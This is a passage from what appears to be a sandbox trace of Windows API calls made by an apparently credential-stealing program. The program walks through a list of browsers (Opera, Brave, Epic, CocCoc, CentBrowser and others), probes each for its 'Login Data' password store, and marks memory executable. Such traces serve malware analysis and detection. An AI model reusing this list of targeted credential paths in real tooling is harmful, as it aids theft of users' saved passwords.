lpMultiByteStr=0x1fcf1360, cbMultiByte=25, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%APPDATA%\\Opera Software\\er Data\\\\User Data\\a\\㟌瑿") returned 25 [0155.987] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\") returned 0x32 [0155.988] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.988] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.988] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera software\\login data")) returned 0xffffffff [0155.988] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.988] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.988] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf394c, cbMultiByte=9, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="GoBrowserpera Software\\er Data\\\\User Data\\a\\㟌瑿") returned 9 [0155.988] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1450, cbMultiByte=29, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Go!\\User Data\\ata\\\\User Data\\a\\㟌瑿") returned 29 [0155.988] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\") returned 0x2f [0155.989] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.989] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.989] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\go!\\user data\\login data")) returned 0xffffffff [0155.989] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.989] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.989] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3ab0, cbMultiByte=7, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="SputnikDATA%\\Go!\\User Data\\ata\\\\User Data\\a\\㟌瑿") returned 7 [0155.989] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1548, cbMultiByte=41, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\ta\\a\\㟌瑿") returned 41 [0155.989] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x3b [0155.990] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.990] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\sputnik\\sputnik\\user data\\login data")) returned 0xffffffff [0155.990] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.990] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3c14, cbMultiByte=6, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="KometaPDATA%\\Sputnik\\Sputnik\\User Data\\ta\\a\\㟌瑿") returned 6 [0155.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1650, cbMultiByte=32, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Kometa\\User Data\\ser Data\\ta\\a\\㟌瑿") returned 32 [0155.990] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\") returned 0x32 [0155.991] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.991] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\kometa\\user data\\login data")) returned 0xffffffff [0155.991] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.991] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3c28, cbMultiByte=4, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="UranAPPDATA%\\Kometa\\User Data\\ser Data\\ta\\a\\㟌瑿") returned 4 [0155.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1754, cbMultiByte=40, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\\\ta\\a\\㟌瑿") returned 40 [0155.991] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x3a [0155.992] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.992] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\ucozmedia\\uran\\user data\\login data")) returned 0xffffffff [0155.992] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.992] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3d94, cbMultiByte=7, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="QIPSurfDATA%\\uCozMedia\\Uran\\User Data\\\\ta\\a\\㟌瑿") returned 7 [0155.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1864, cbMultiByte=34, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\QIP Surf\\User Data\\ Data\\\\ta\\a\\㟌瑿") returned 34 [0155.992] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x34 [0155.993] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0155.993] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.993] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\qip surf\\user data\\login data")) returned 0xffffffff [0155.993] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0155.993] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0155.993] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f04, cbMultiByte=4, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="EpicAPPDATA%\\QIP Surf\\User Data\\ Data\\\\ta\\a\\㟌瑿") returned 4 [0155.993] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1970, cbMultiByte=46, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\㟌瑿") returned 46 [0155.993] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x40 [0155.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.999] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.999] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.000] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0156.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.001] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0156.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.002] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\epic privacy browser\\user data\\login data")) returned 0xffffffff [0156.002] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0156.002] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0156.003] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f18, cbMultiByte=5, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="BravePPDATA%\\Epic Privacy Browser\\User Data\\㟌瑿") returned 5 [0156.003] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1a8c, cbMultiByte=16, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%APPDATA%\\brave\\pic Privacy Browser\\User Data\\㟌瑿") returned 16 [0156.003] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\") returned 0x29 [0156.003] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0156.003] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0156.003] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\brave\\login data")) returned 0xffffffff [0156.004] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0156.004] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.004] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f2c, cbMultiByte=6, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="CocCoc%\\brave\\pic Privacy Browser\\User Data\\㟌瑿") returned 6 [0156.004] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1b90, cbMultiByte=40, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\ Data\\㟌瑿") returned 40 [0156.004] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x1e2a1154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x3a [0156.004] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0xffffffff [0156.004] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0156.005] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\coccoc\\browser\\user data\\login data")) returned 0xffffffff [0156.005] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㭼@ᅔḪ䃭@\x05")) returned 0 [0156.005] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0156.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f40, cbMultiByte=11, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="CentBrowser%\\CocCoc\\Browser\\User Data\\ Data\\㟌瑿") returned 11 [0156.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1cb0, cbMultiByte=37, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\CentBrowser\\User Data\\ta\\ Data\\㟌瑿") returned 37 [0156.005] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x1e2a1154, 